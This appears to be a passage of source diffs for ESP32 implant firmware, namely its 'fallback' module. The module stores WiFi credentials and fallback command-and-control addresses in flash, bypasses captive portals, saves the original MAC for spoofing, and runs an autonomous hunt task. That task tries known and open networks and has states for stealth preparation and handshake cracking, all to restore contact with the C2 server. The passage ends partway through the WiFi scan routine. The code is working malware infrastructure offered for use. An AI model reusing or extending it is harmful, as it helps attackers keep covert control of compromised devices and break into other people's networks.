msg_error(TAG, "usage: fb_net_add <ssid> [pass]", req);
return -1;
}
const char *ssid = argv[0];
const char *pass = (argc >= 2) ? argv[1] : "";
/* Empty string for pass means "remove" */
if (argc >= 2 && strcmp(pass, "\"\"") == 0) {
if (fb_config_net_remove(ssid)) {
char buf[96];
snprintf(buf, sizeof(buf), "Removed network '%s'", ssid);
msg_info(TAG, buf, req);
} else {
msg_error(TAG, "Network not found", req);
}
return 0;
}
if (fb_config_net_add(ssid, pass)) {
char buf[96];
snprintf(buf, sizeof(buf), "Added network '%s'", ssid);
msg_info(TAG, buf, req);
} else {
msg_error(TAG, "Failed to add network (full?)", req);
}
return 0;
}
/* ============================================================
* COMMAND: fb_net_list
* List known networks.
* ============================================================ */
static int cmd_fb_net_list(int argc, char **argv, const char *req, void *ctx)
{
(void)argc; (void)argv; (void)ctx;
fb_network_t nets[CONFIG_FB_MAX_KNOWN_NETWORKS];
int count = fb_config_net_list(nets, CONFIG_FB_MAX_KNOWN_NETWORKS);
if (count == 0) {
msg_info(TAG, "No known networks", req);
return 0;
}
for (int i = 0; i < count; i++) {
char line[128];
snprintf(line, sizeof(line), "[%d] ssid='%s' pass=%s",
i, nets[i].ssid,
nets[i].pass[0] ? "***" : "(open)");
msg_data(TAG, line, strlen(line), (i == count - 1), req);
}
return 0;
}
/* ============================================================
* Command table
* ============================================================ */
static const command_t fb_cmds[] = {
{
.name = "fb_status",
.sub = NULL,
.help = "Fallback state, MAC, method, config",
.min_args = 0,
.max_args = 0,
.handler = (command_handler_t)cmd_fb_status,
.ctx = NULL,
.async = false,
},
{
.name = "fb_net_add",
.sub = NULL,
.help = "Add known network: fb_net_add <ssid> [pass]",
.min_args = 1,
.max_args = 2,
.handler = (command_handler_t)cmd_fb_net_add,
.ctx = NULL,
.async = false,
},
{
.name = "fb_net_list",
.sub = NULL,
.help = "List known networks",
.min_args = 0,
.max_args = 0,
.handler = (command_handler_t)cmd_fb_net_list,
.ctx = NULL,
.async = false,
},
};
/* ============================================================
* Registration
* ============================================================ */
void mod_fallback_register_commands(void)
{
ESPILON_LOGI_PURPLE(TAG, "Registering fallback commands");
fb_config_init();
fb_hunt_init();
for (size_t i = 0; i < sizeof(fb_cmds) / sizeof(fb_cmds[0]); i++) {
command_register(&fb_cmds[i]);
}
}
#else /* !CONFIG_MODULE_FALLBACK */
void mod_fallback_register_commands(void) { /* empty */ }
#endif /* CONFIG_MODULE_FALLBACK */

View File

@ -0,0 +1,8 @@
/*
* cmd_fallback.h
* Fallback resilient connectivity module.
* Compiled as empty when CONFIG_MODULE_FALLBACK is not set.
*/
#pragma once
void mod_fallback_register_commands(void);

View File

@ -0,0 +1,271 @@
/*
* fb_captive.c
* Captive portal detection and bypass strategies.
*
* Detection: HTTP GET to connectivitycheck.gstatic.com/generate_204
* - 204 = no portal (internet open)
* - 200/302 = captive portal detected
*
* Bypass strategies (in order):
* 1. Direct C2 port often not intercepted by portals
* 2. POST accept parse 302 redirect, GET portal accept page
* 3. Wait + retry some portals open after DNS traffic
*/
#include "sdkconfig.h"
#include "fb_captive.h"
#ifdef CONFIG_MODULE_FALLBACK
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
#include "esp_log.h"
#include "lwip/sockets.h"
#include "lwip/netdb.h"
#include "freertos/FreeRTOS.h"
#include "freertos/task.h"
#include "utils.h"
static const char *TAG = "FB_CAPTIVE";
#define CAPTIVE_TIMEOUT_S 5
#define CAPTIVE_RX_BUF 512
/* ============================================================
* Raw HTTP request to check connectivity
* ============================================================ */
static bool resolve_host(const char *host, struct in_addr *out)
{
struct addrinfo hints = {0};
hints.ai_family = AF_INET;
hints.ai_socktype = SOCK_STREAM;
struct addrinfo *res = NULL;
int err = lwip_getaddrinfo(host, NULL, &hints, &res);
if (err != 0 || !res) {
ESP_LOGW(TAG, "DNS resolve failed for '%s'", host);
return false;
}
struct sockaddr_in *addr = (struct sockaddr_in *)res->ai_addr;
*out = addr->sin_addr;
lwip_freeaddrinfo(res);
return true;
}
static int http_get_status(const char *host, int port, const char *path,
char *location_out, size_t location_cap)
{
struct in_addr ip;
if (!resolve_host(host, &ip)) return 0;
int s = lwip_socket(AF_INET, SOCK_STREAM, 0);
if (s < 0) return 0;
struct timeval tv = { .tv_sec = CAPTIVE_TIMEOUT_S, .tv_usec = 0 };
lwip_setsockopt(s, SOL_SOCKET, SO_RCVTIMEO, &tv, sizeof(tv));
lwip_setsockopt(s, SOL_SOCKET, SO_SNDTIMEO, &tv, sizeof(tv));
struct sockaddr_in addr = {0};
addr.sin_family = AF_INET;
addr.sin_port = htons(port);
addr.sin_addr = ip;
if (lwip_connect(s, (struct sockaddr *)&addr, sizeof(addr)) != 0) {
lwip_close(s);
return 0;
}
char req[256];
int req_len = snprintf(req, sizeof(req),
"GET %s HTTP/1.0\r\n"
"Host: %s\r\n"
"Connection: close\r\n"
"User-Agent: Mozilla/5.0\r\n"
"\r\n",
path, host);
if (lwip_write(s, req, req_len) <= 0) {
lwip_close(s);
return 0;
}
char buf[CAPTIVE_RX_BUF];
int total = 0;
int len;
while (total < (int)sizeof(buf) - 1) {
len = lwip_recv(s, buf + total, sizeof(buf) - 1 - total, 0);
if (len <= 0) break;
total += len;
buf[total] = '\0';
if (strstr(buf, "\r\n\r\n")) break;
}
lwip_close(s);
if (total == 0) return 0;
buf[total] = '\0';
int status = 0;
char *sp = strchr(buf, ' ');
if (sp) {
status = atoi(sp + 1);
}
if (location_out && location_cap > 0) {
location_out[0] = '\0';
char *loc = strstr(buf, "Location: ");
if (!loc) loc = strstr(buf, "location: ");
if (loc) {
loc += 10;
char *end = strstr(loc, "\r\n");
if (end) {
size_t copy_len = end - loc;
if (copy_len >= location_cap) copy_len = location_cap - 1;
memcpy(location_out, loc, copy_len);
location_out[copy_len] = '\0';
}
}
}
return status;
}
/* ============================================================
* Captive portal detection
* ============================================================ */
fb_portal_status_t fb_captive_detect(void)
{
ESP_LOGI(TAG, "Checking for captive portal...");
int status = http_get_status(
"connectivitycheck.gstatic.com", 80,
"/generate_204", NULL, 0);
if (status == 204) {
ESP_LOGI(TAG, "No captive portal (got 204)");
return FB_PORTAL_NONE;
}
if (status == 200 || status == 302 || status == 301) {
ESP_LOGW(TAG, "Captive portal detected (HTTP %d)", status);
return FB_PORTAL_DETECTED;
}
if (status == 0) {
status = http_get_status(
"captive.apple.com", 80,
"/hotspot-detect.html", NULL, 0);
if (status == 200) {
ESP_LOGW(TAG, "Apple check returned 200 — may be portal");
return FB_PORTAL_DETECTED;
}
ESP_LOGW(TAG, "Connectivity check failed (no response)");
return FB_PORTAL_UNKNOWN;
}
ESP_LOGW(TAG, "Unexpected status %d — assuming portal", status);
return FB_PORTAL_DETECTED;
}
/* ============================================================
* Captive portal bypass
* ============================================================ */
bool fb_captive_bypass(void)
{
ESP_LOGI(TAG, "Attempting captive portal bypass...");
/* Strategy 1: Direct C2 port */
{
int s = lwip_socket(AF_INET, SOCK_STREAM, 0);
if (s >= 0) {
struct timeval tv = { .tv_sec = CAPTIVE_TIMEOUT_S, .tv_usec = 0 };
lwip_setsockopt(s, SOL_SOCKET, SO_SNDTIMEO, &tv, sizeof(tv));
struct sockaddr_in addr = {0};
addr.sin_family = AF_INET;
addr.sin_port = htons(CONFIG_SERVER_PORT);
addr.sin_addr.s_addr = inet_addr(CONFIG_SERVER_IP);
if (lwip_connect(s, (struct sockaddr *)&addr, sizeof(addr)) == 0) {
lwip_close(s);
ESP_LOGI(TAG, "Bypass: direct C2 port %d reachable!", CONFIG_SERVER_PORT);
return true;
}
lwip_close(s);
}
ESP_LOGW(TAG, "Bypass strategy 1 (direct C2 port) failed");
}
/* Strategy 2: Follow redirect + GET accept page */
{
char location[256] = {0};
int status = http_get_status(
"connectivitycheck.gstatic.com", 80,
"/generate_204", location, sizeof(location));
if ((status == 302 || status == 301) && location[0]) {
ESP_LOGI(TAG, "Portal redirect to: %s", location);
char *host_start = strstr(location, "://");
if (host_start) {
host_start += 3;
char *path_start = strchr(host_start, '/');
char host_buf[64] = {0};
if (path_start) {
size_t hlen = path_start - host_start;
if (hlen >= sizeof(host_buf)) hlen = sizeof(host_buf) - 1;
memcpy(host_buf, host_start, hlen);
} else {
strncpy(host_buf, host_start, sizeof(host_buf) - 1);
path_start = "/";
}
int p_status = http_get_status(host_buf, 80, path_start, NULL, 0);
ESP_LOGI(TAG, "Portal page status: %d", p_status);
vTaskDelay(pdMS_TO_TICKS(2000));
int check = http_get_status(
"connectivitycheck.gstatic.com", 80,
"/generate_204", NULL, 0);
if (check == 204) {
ESP_LOGI(TAG, "Bypass: portal auto-accepted!");
return true;
}
}
}
ESP_LOGW(TAG, "Bypass strategy 2 (POST accept) failed");
}
/* Strategy 3: Wait + retry */
{
ESP_LOGI(TAG, "Bypass strategy 3: waiting 10s...");
vTaskDelay(pdMS_TO_TICKS(10000));
int status = http_get_status(
"connectivitycheck.gstatic.com", 80,
"/generate_204", NULL, 0);
if (status == 204) {
ESP_LOGI(TAG, "Bypass: portal opened after wait!");
return true;
}
ESP_LOGW(TAG, "Bypass strategy 3 (wait) failed");
}
ESP_LOGW(TAG, "All captive portal bypass strategies failed");
return false;
}
#else /* !CONFIG_MODULE_FALLBACK */
fb_portal_status_t fb_captive_detect(void) { return FB_PORTAL_UNKNOWN; }
bool fb_captive_bypass(void) { return false; }
#endif /* CONFIG_MODULE_FALLBACK */

View File

@ -0,0 +1,24 @@
/*
* fb_captive.h
* Captive portal detection and bypass strategies.
*/
#pragma once
#include <stdbool.h>
#ifdef __cplusplus
extern "C" {
#endif
typedef enum {
FB_PORTAL_NONE, /* No captive portal — internet is open */
FB_PORTAL_DETECTED, /* Captive portal detected (302 or non-204) */
FB_PORTAL_UNKNOWN, /* Couldn't determine (connection failed) */
} fb_portal_status_t;
fb_portal_status_t fb_captive_detect(void);
bool fb_captive_bypass(void);
#ifdef __cplusplus
}
#endif

View File

@ -0,0 +1,454 @@
/*
* fb_config.c
* NVS-backed storage for known WiFi networks and C2 fallback addresses.
* Namespace: "fb_cfg" auto-migrates from old "rt_cfg" on first boot.
*/
#include "sdkconfig.h"
#include "fb_config.h"
#ifdef CONFIG_MODULE_FALLBACK
#include <string.h>
#include <stdio.h>
#include "nvs_flash.h"
#include "nvs.h"
#include "esp_log.h"
#include "esp_wifi.h"
static const char *TAG = "FB_CFG";
static const char *NVS_NS = "fb_cfg";
/* ============================================================
* NVS migration from old rt_cfg namespace
* ============================================================ */
static void migrate_from_rt_cfg(void)
{
nvs_handle_t old_h, new_h;
if (nvs_open("rt_cfg", NVS_READONLY, &old_h) != ESP_OK)
return; /* No old data */
if (nvs_open(NVS_NS, NVS_READWRITE, &new_h) != ESP_OK) {
nvs_close(old_h);
return;
}
/* Check if already migrated */
int32_t new_count = -1;
if (nvs_get_i32(new_h, "fb_count", &new_count) == ESP_OK && new_count >= 0) {
nvs_close(old_h);
nvs_close(new_h);
return;
}
/* Copy network count */
int32_t old_count = 0;
nvs_get_i32(old_h, "rt_count", &old_count);
nvs_set_i32(new_h, "fb_count", old_count);
/* Copy each network entry */
char key[16];
for (int i = 0; i < old_count && i < CONFIG_FB_MAX_KNOWN_NETWORKS; i++) {
char buf[FB_PASS_MAX_LEN];
size_t len;
snprintf(key, sizeof(key), "n_%d", i);
len = FB_SSID_MAX_LEN;
memset(buf, 0, sizeof(buf));
if (nvs_get_str(old_h, key, buf, &len) == ESP_OK)
nvs_set_str(new_h, key, buf);
snprintf(key, sizeof(key), "p_%d", i);
len = FB_PASS_MAX_LEN;
memset(buf, 0, sizeof(buf));
if (nvs_get_str(old_h, key, buf, &len) == ESP_OK)
nvs_set_str(new_h, key, buf);
}
/* Copy C2 fallbacks */
int32_t c2_count = 0;
nvs_get_i32(old_h, "c2_count", &c2_count);
nvs_set_i32(new_h, "c2_count", c2_count);
for (int i = 0; i < c2_count && i < CONFIG_FB_MAX_C2_FALLBACKS; i++) {
char buf[FB_ADDR_MAX_LEN];
size_t len = FB_ADDR_MAX_LEN;
snprintf(key, sizeof(key), "c2_%d", i);
memset(buf, 0, sizeof(buf));
if (nvs_get_str(old_h, key, buf, &len) == ESP_OK)
nvs_set_str(new_h, key, buf);
}
/* Copy original MAC */
uint8_t mac[6];
size_t mac_len = 6;
if (nvs_get_blob(old_h, "orig_mac", mac, &mac_len) == ESP_OK)
nvs_set_blob(new_h, "orig_mac", mac, 6);
nvs_commit(new_h);
nvs_close(old_h);
nvs_close(new_h);
ESP_LOGI(TAG, "Migrated %d networks + %d C2 fallbacks from rt_cfg",
(int)old_count, (int)c2_count);
}
/* ============================================================
* Init
* ============================================================ */
void fb_config_init(void)
{
migrate_from_rt_cfg();
nvs_handle_t h;
esp_err_t err = nvs_open(NVS_NS, NVS_READWRITE, &h);
if (err == ESP_OK) {
nvs_close(h);
ESP_LOGI(TAG, "NVS namespace '%s' ready", NVS_NS);
} else {
ESP_LOGE(TAG, "NVS open failed: %s", esp_err_to_name(err));
}
}
/* ============================================================
* Known WiFi networks
* ============================================================ */
static void net_key_ssid(int idx, char *out, size_t len)
{
snprintf(out, len, "n_%d", idx);
}
static void net_key_pass(int idx, char *out, size_t len)
{
snprintf(out, len, "p_%d", idx);
}
int fb_config_net_count(void)
{
nvs_handle_t h;
if (nvs_open(NVS_NS, NVS_READONLY, &h) != ESP_OK)
return 0;
int32_t count = 0;
nvs_get_i32(h, "fb_count", &count);
nvs_close(h);
return (int)count;
}
int fb_config_net_list(fb_network_t *out, int max_count)
{
nvs_handle_t h;
if (nvs_open(NVS_NS, NVS_READONLY, &h) != ESP_OK)
return 0;
int32_t count = 0;
nvs_get_i32(h, "fb_count", &count);
if (count > max_count) count = max_count;
if (count > CONFIG_FB_MAX_KNOWN_NETWORKS) count = CONFIG_FB_MAX_KNOWN_NETWORKS;
char key[16];
for (int i = 0; i < count; i++) {
memset(&out[i], 0, sizeof(fb_network_t));
net_key_ssid(i, key, sizeof(key));
size_t len = FB_SSID_MAX_LEN;
nvs_get_str(h, key, out[i].ssid, &len);
net_key_pass(i, key, sizeof(key));
len = FB_PASS_MAX_LEN;
nvs_get_str(h, key, out[i].pass, &len);
}
nvs_close(h);
return (int)count;
}
bool fb_config_net_add(const char *ssid, const char *pass)
{
if (!ssid || !ssid[0]) return false;
nvs_handle_t h;
if (nvs_open(NVS_NS, NVS_READWRITE, &h) != ESP_OK)
return false;
int32_t count = 0;
nvs_get_i32(h, "fb_count", &count);
/* Check if SSID already exists → update */
char key[16];
for (int i = 0; i < count; i++) {
net_key_ssid(i, key, sizeof(key));
char existing[FB_SSID_MAX_LEN] = {0};
size_t len = FB_SSID_MAX_LEN;
if (nvs_get_str(h, key, existing, &len) == ESP_OK) {
if (strcmp(existing, ssid) == 0) {
net_key_pass(i, key, sizeof(key));
nvs_set_str(h, key, pass ? pass : "");
nvs_commit(h);
nvs_close(h);
ESP_LOGI(TAG, "Updated network '%s'", ssid);
return true;
}
}
}
if (count >= CONFIG_FB_MAX_KNOWN_NETWORKS) {
nvs_close(h);
ESP_LOGW(TAG, "Known networks full (%d)", (int)count);
return false;
}
net_key_ssid(count, key, sizeof(key));
nvs_set_str(h, key, ssid);
net_key_pass(count, key, sizeof(key));
nvs_set_str(h, key, pass ? pass : "");
count++;
nvs_set_i32(h, "fb_count", count);
nvs_commit(h);
nvs_close(h);
ESP_LOGI(TAG, "Added network '%s' (total: %d)", ssid, (int)count);
return true;
}
bool fb_config_net_remove(const char *ssid)
{
if (!ssid || !ssid[0]) return false;
nvs_handle_t h;
if (nvs_open(NVS_NS, NVS_READWRITE, &h) != ESP_OK)
return false;
int32_t count = 0;
nvs_get_i32(h, "fb_count", &count);
int found = -1;
char key[16];
for (int i = 0; i < count; i++) {
net_key_ssid(i, key, sizeof(key));
char existing[FB_SSID_MAX_LEN] = {0};
size_t len = FB_SSID_MAX_LEN;
if (nvs_get_str(h, key, existing, &len) == ESP_OK) {
if (strcmp(existing, ssid) == 0) {
found = i;
break;
}
}
}
if (found < 0) {
nvs_close(h);
return false;
}
/* Shift entries down */
for (int i = found; i < count - 1; i++) {
char src_key[16], dst_key[16];
char buf[FB_PASS_MAX_LEN];
size_t len;
net_key_ssid(i + 1, src_key, sizeof(src_key));
net_key_ssid(i, dst_key, sizeof(dst_key));
len = FB_SSID_MAX_LEN;
memset(buf, 0, sizeof(buf));
nvs_get_str(h, src_key, buf, &len);
nvs_set_str(h, dst_key, buf);
net_key_pass(i + 1, src_key, sizeof(src_key));
net_key_pass(i, dst_key, sizeof(dst_key));
len = FB_PASS_MAX_LEN;
memset(buf, 0, sizeof(buf));
nvs_get_str(h, src_key, buf, &len);
nvs_set_str(h, dst_key, buf);
}
net_key_ssid(count - 1, key, sizeof(key));
nvs_erase_key(h, key);
net_key_pass(count - 1, key, sizeof(key));
nvs_erase_key(h, key);
count--;
nvs_set_i32(h, "fb_count", count);
nvs_commit(h);
nvs_close(h);
ESP_LOGI(TAG, "Removed network '%s' (total: %d)", ssid, (int)count);
return true;
}
/* ============================================================
* C2 fallback addresses
* ============================================================ */
int fb_config_c2_count(void)
{
nvs_handle_t h;
if (nvs_open(NVS_NS, NVS_READONLY, &h) != ESP_OK)
return 0;
int32_t count = 0;
nvs_get_i32(h, "c2_count", &count);
nvs_close(h);
return (int)count;
}
int fb_config_c2_list(fb_c2_addr_t *out, int max_count)
{
nvs_handle_t h;
if (nvs_open(NVS_NS, NVS_READONLY, &h) != ESP_OK)
return 0;
int32_t count = 0;
nvs_get_i32(h, "c2_count", &count);
if (count > max_count) count = max_count;
if (count > CONFIG_FB_MAX_C2_FALLBACKS) count = CONFIG_FB_MAX_C2_FALLBACKS;
for (int i = 0; i < count; i++) {
memset(&out[i], 0, sizeof(fb_c2_addr_t));
char key[16];
snprintf(key, sizeof(key), "c2_%d", i);
size_t len = FB_ADDR_MAX_LEN;
nvs_get_str(h, key, out[i].addr, &len);
}
nvs_close(h);
return (int)count;
}
bool fb_config_c2_add(const char *addr)
{
if (!addr || !addr[0]) return false;
nvs_handle_t h;
if (nvs_open(NVS_NS, NVS_READWRITE, &h) != ESP_OK)
return false;
int32_t count = 0;
nvs_get_i32(h, "c2_count", &count);
for (int i = 0; i < count; i++) {
char key[16];
snprintf(key, sizeof(key), "c2_%d", i);
char existing[FB_ADDR_MAX_LEN] = {0};
size_t len = FB_ADDR_MAX_LEN;
if (nvs_get_str(h, key, existing, &len) == ESP_OK) {
if (strcmp(existing, addr) == 0) {
nvs_close(h);
return true;
}
}
}
if (count >= CONFIG_FB_MAX_C2_FALLBACKS) {
nvs_close(h);
ESP_LOGW(TAG, "C2 fallbacks full (%d)", (int)count);
return false;
}
char key[16];
snprintf(key, sizeof(key), "c2_%d", (int)count);
nvs_set_str(h, key, addr);
count++;
nvs_set_i32(h, "c2_count", count);
nvs_commit(h);
nvs_close(h);
ESP_LOGI(TAG, "Added C2 fallback '%s' (total: %d)", addr, (int)count);
return true;
}
bool fb_config_c2_remove(const char *addr)
{
if (!addr || !addr[0]) return false;
nvs_handle_t h;
if (nvs_open(NVS_NS, NVS_READWRITE, &h) != ESP_OK)
return false;
int32_t count = 0;
nvs_get_i32(h, "c2_count", &count);
int found = -1;
for (int i = 0; i < count; i++) {
char key[16];
snprintf(key, sizeof(key), "c2_%d", i);
char existing[FB_ADDR_MAX_LEN] = {0};
size_t len = FB_ADDR_MAX_LEN;
if (nvs_get_str(h, key, existing, &len) == ESP_OK) {
if (strcmp(existing, addr) == 0) {
found = i;
break;
}
}
}
if (found < 0) {
nvs_close(h);
return false;
}
for (int i = found; i < count - 1; i++) {
char src_key[16], dst_key[16], buf[FB_ADDR_MAX_LEN];
size_t len = FB_ADDR_MAX_LEN;
snprintf(src_key, sizeof(src_key), "c2_%d", i + 1);
snprintf(dst_key, sizeof(dst_key), "c2_%d", i);
memset(buf, 0, sizeof(buf));
nvs_get_str(h, src_key, buf, &len);
nvs_set_str(h, dst_key, buf);
}
char key[16];
snprintf(key, sizeof(key), "c2_%d", (int)(count - 1));
nvs_erase_key(h, key);
count--;
nvs_set_i32(h, "c2_count", count);
nvs_commit(h);
nvs_close(h);
ESP_LOGI(TAG, "Removed C2 fallback '%s' (total: %d)", addr, (int)count);
return true;
}
/* ============================================================
* Original MAC storage
* ============================================================ */
void fb_config_save_orig_mac(void)
{
uint8_t mac[6];
if (esp_wifi_get_mac(WIFI_IF_STA, mac) != ESP_OK) {
ESP_LOGW(TAG, "Failed to read STA MAC");
return;
}
nvs_handle_t h;
if (nvs_open(NVS_NS, NVS_READWRITE, &h) != ESP_OK)
return;
nvs_set_blob(h, "orig_mac", mac, 6);
nvs_commit(h);
nvs_close(h);
ESP_LOGI(TAG, "Saved original MAC: %02X:%02X:%02X:%02X:%02X:%02X",
mac[0], mac[1], mac[2], mac[3], mac[4], mac[5]);
}
bool fb_config_get_orig_mac(uint8_t mac[6])
{
nvs_handle_t h;
if (nvs_open(NVS_NS, NVS_READONLY, &h) != ESP_OK)
return false;
size_t len = 6;
esp_err_t err = nvs_get_blob(h, "orig_mac", mac, &len);
nvs_close(h);
return (err == ESP_OK && len == 6);
}
#endif /* CONFIG_MODULE_FALLBACK */

View File

@ -0,0 +1,66 @@
/*
* fb_config.h
* NVS-backed known networks + C2 fallback addresses.
*/
#pragma once
#include <stdbool.h>
#include <stdint.h>
#include <stddef.h>
#ifdef __cplusplus
extern "C" {
#endif
#ifndef CONFIG_FB_MAX_KNOWN_NETWORKS
#define CONFIG_FB_MAX_KNOWN_NETWORKS 16
#endif
#ifndef CONFIG_FB_MAX_C2_FALLBACKS
#define CONFIG_FB_MAX_C2_FALLBACKS 4
#endif
#define FB_SSID_MAX_LEN 33 /* 32 + NUL */
#define FB_PASS_MAX_LEN 65 /* 64 + NUL */
#define FB_ADDR_MAX_LEN 64 /* "ip:port" or "host:port" */
/* ============================================================
* Known WiFi networks
* ============================================================ */
typedef struct {
char ssid[FB_SSID_MAX_LEN];
char pass[FB_PASS_MAX_LEN];
} fb_network_t;
/* Init NVS namespace + migrate from old rt_cfg if needed. */
void fb_config_init(void);
bool fb_config_net_add(const char *ssid, const char *pass);
bool fb_config_net_remove(const char *ssid);
int fb_config_net_list(fb_network_t *out, int max_count);
int fb_config_net_count(void);
/* ============================================================
* C2 fallback addresses
* ============================================================ */
typedef struct {
char addr[FB_ADDR_MAX_LEN]; /* "ip:port" */
} fb_c2_addr_t;
bool fb_config_c2_add(const char *addr);
bool fb_config_c2_remove(const char *addr);
int fb_config_c2_list(fb_c2_addr_t *out, int max_count);
int fb_config_c2_count(void);
/* ============================================================
* Original MAC storage (for restoration)
* ============================================================ */
void fb_config_save_orig_mac(void);
bool fb_config_get_orig_mac(uint8_t mac[6]);
#ifdef __cplusplus
}
#endif

View File

@ -0,0 +1,703 @@
/*
* fb_hunt.c
* Fallback hunt state machine autonomous network recovery.
* FreeRTOS task (8KB stack, Core 1).
*
* Pipeline: known networks open WiFi + captive bypass loop
* No C2 commands needed auto-triggered on TCP failure.
*/
#include "sdkconfig.h"
#include "fb_hunt.h"
#ifdef CONFIG_MODULE_FALLBACK
#include <string.h>
#include <stdio.h>
#include <stdatomic.h>
#include "esp_log.h"
#include "esp_wifi.h"
#include "esp_event.h"
#include "esp_netif.h"
#include "freertos/FreeRTOS.h"
#include "freertos/task.h"
#include "freertos/event_groups.h"
#include "lwip/sockets.h"
#include "lwip/netdb.h"
#include "utils.h"
#include "fb_config.h"
#include "fb_stealth.h"
#include "fb_captive.h"
static const char *TAG = "FB_HUNT";
#define FB_HUNT_STACK 8192
#define FB_HUNT_PRIO 6
#define FB_WIFI_TIMEOUT_MS 8000
#define FB_TCP_TIMEOUT_S 5
#define FB_RESCAN_DELAY_S 60
/* Event bits for WiFi events */
#define FB_EVT_GOT_IP BIT0
#define FB_EVT_DISCONNECT BIT1
/* ============================================================
* State
* ============================================================ */
static volatile fb_state_t s_state = FB_IDLE;
static char s_connected_ssid[33] = {0};
static char s_connected_method[16] = {0};
static atomic_bool s_active = false;
static TaskHandle_t s_task_handle = NULL;
static EventGroupHandle_t s_evt_group = NULL;
/* Mutex protecting s_state, s_connected_ssid, s_connected_method */
static SemaphoreHandle_t s_state_mutex = NULL;
/* Skip GPRS strategy (set by gprs_client_task to avoid GPRS→hunt→GPRS loop) */
static bool s_skip_gprs = false;
static inline void state_lock(void) {
if (s_state_mutex) xSemaphoreTake(s_state_mutex, portMAX_DELAY);
}
static inline void state_unlock(void) {
if (s_state_mutex) xSemaphoreGive(s_state_mutex);
}
/* Saved original WiFi config for restore */
static wifi_config_t s_orig_wifi_config;
static bool s_orig_config_saved = false;
/* State name lookup */
static const char *state_names[] = {
[FB_IDLE] = "idle",
[FB_STEALTH_PREP] = "stealth_prep",
[FB_PASSIVE_SCAN] = "passive_scan",
[FB_TRYING_KNOWN] = "trying_known",
[FB_TRYING_OPEN] = "trying_open",
[FB_PORTAL_CHECK] = "portal_check",
[FB_PORTAL_BYPASS] = "portal_bypass",
[FB_C2_VERIFY] = "c2_verify",
[FB_HANDSHAKE_CRACK] = "handshake_crack",
[FB_GPRS_DIRECT] = "gprs_direct",
[FB_CONNECTED] = "connected",
};
/* ============================================================
* WiFi event handler for hunt (registered dynamically)
* ============================================================ */
static void fb_wifi_event_handler(void *arg, esp_event_base_t base,
int32_t id, void *data)
{
if (!s_evt_group) return;
if (base == IP_EVENT && id == IP_EVENT_STA_GOT_IP) {
xEventGroupSetBits(s_evt_group, FB_EVT_GOT_IP);
}
if (base == WIFI_EVENT && id == WIFI_EVENT_STA_DISCONNECTED) {
xEventGroupSetBits(s_evt_group, FB_EVT_DISCONNECT);
}
}
/* ============================================================
* Helpers
* ============================================================ */
static void set_state(fb_state_t new_state)
{
state_lock();
s_state = new_state;
state_unlock();
ESP_LOGI(TAG, "→ %s", state_names[new_state]);
}
/* Try to connect to a WiFi network. Returns true if got IP. */
static bool wifi_try_connect(const char *ssid, const char *pass, int timeout_ms)
{
wifi_config_t cfg = {0};
strncpy((char *)cfg.sta.ssid, ssid, sizeof(cfg.sta.ssid) - 1);
if (pass && pass[0]) {
strncpy((char *)cfg.sta.password, pass, sizeof(cfg.sta.password) - 1);
}
esp_wifi_disconnect();
vTaskDelay(pdMS_TO_TICKS(200));
esp_err_t err = esp_wifi_set_config(WIFI_IF_STA, &cfg);
if (err != ESP_OK) {
ESP_LOGE(TAG, "WiFi set_config failed: %s", esp_err_to_name(err));
return false;
}
xEventGroupClearBits(s_evt_group, FB_EVT_GOT_IP | FB_EVT_DISCONNECT);
esp_wifi_connect();
EventBits_t bits = xEventGroupWaitBits(
s_evt_group,
FB_EVT_GOT_IP | FB_EVT_DISCONNECT,
pdTRUE, /* clear on exit */
pdFALSE, /* any bit */
pdMS_TO_TICKS(timeout_ms)
);
if (bits & FB_EVT_GOT_IP) {
ESP_LOGI(TAG, "Got IP on '%s'", ssid);
return true;
}
ESP_LOGW(TAG, "WiFi connect to '%s' failed/timed out", ssid);
return false;
}
/* Try TCP connect to C2. Returns true if reachable. */
static bool tcp_try_c2(const char *ip, int port)
{
struct sockaddr_in addr = {0};
addr.sin_family = AF_INET;
addr.sin_port = htons(port);
addr.sin_addr.s_addr = inet_addr(ip);
int s = lwip_socket(AF_INET, SOCK_STREAM, 0);
if (s < 0) return false;
struct timeval tv = { .tv_sec = FB_TCP_TIMEOUT_S, .tv_usec = 0 };
lwip_setsockopt(s, SOL_SOCKET, SO_SNDTIMEO, &tv, sizeof(tv));
int ret = lwip_connect(s, (struct sockaddr *)&addr, sizeof(addr));
lwip_close(s);
if (ret == 0) {
ESP_LOGI(TAG, "C2 reachable at %s:%d", ip, port);
return true;
}
return false;
}
/* Try C2 primary + fallbacks. Returns true if any reachable. */
static bool verify_c2_reachable(void)
{
set_state(FB_C2_VERIFY);
/* Try primary C2 */
if (tcp_try_c2(CONFIG_SERVER_IP, CONFIG_SERVER_PORT)) {
return true;
}
/* Try NVS fallback addresses */
fb_c2_addr_t addrs[CONFIG_FB_MAX_C2_FALLBACKS];
int count = fb_config_c2_list(addrs, CONFIG_FB_MAX_C2_FALLBACKS);
for (int i = 0; i < count; i++) {
char ip_buf[48];
int port = CONFIG_SERVER_PORT;
strncpy(ip_buf, addrs[i].addr, sizeof(ip_buf) - 1);
ip_buf[sizeof(ip_buf) - 1] = '\0';
char *colon = strrchr(ip_buf, ':');
if (colon) {
*colon = '\0';
port = atoi(colon + 1);
if (port <= 0 || port > 65535) port = CONFIG_SERVER_PORT;
}
if (tcp_try_c2(ip_buf, port)) {
return true;
}
}
ESP_LOGW(TAG, "C2 unreachable (primary + %d fallbacks)", count);
return false;
}
/* Mark successful connection */
static void mark_connected(const char *ssid, const char *method)
{
state_lock();
strncpy(s_connected_ssid, ssid, sizeof(s_connected_ssid) - 1);
s_connected_ssid[sizeof(s_connected_ssid) - 1] = '\0';
strncpy(s_connected_method, method, sizeof(s_connected_method) - 1);
s_connected_method[sizeof(s_connected_method) - 1] = '\0';
state_unlock();
set_state(FB_CONNECTED);
ESP_LOGI(TAG, "Connected via %s: '%s'", method, ssid);
}
/* ============================================================
* WiFi scan
* ============================================================ */
typedef struct {
char ssid[33];
uint8_t bssid[6];
int8_t rssi;
uint8_t channel;
wifi_auth_mode_t authmode;
} fb_candidate_t;
#define FB_MAX_CANDIDATES 32
static fb_candidate_t s_candidates[FB_MAX_CANDIDATES];
static int s_candidate_count = 0;
static void do_wifi_scan(void)
{
s_candidate_count = 0;
esp_wifi_disconnect();
vTaskDelay(pdMS_TO_TICKS(200));
wifi_scan_config_t scan_cfg = {
.ssid = NULL,
.bssid = NULL,
.channel = 0,
.show_hidden = true,
.scan_type = WIFI_SCAN_TYPE_ACTIVE,
.scan_time = {
.active = { .min = 120, .max = 300 },
},
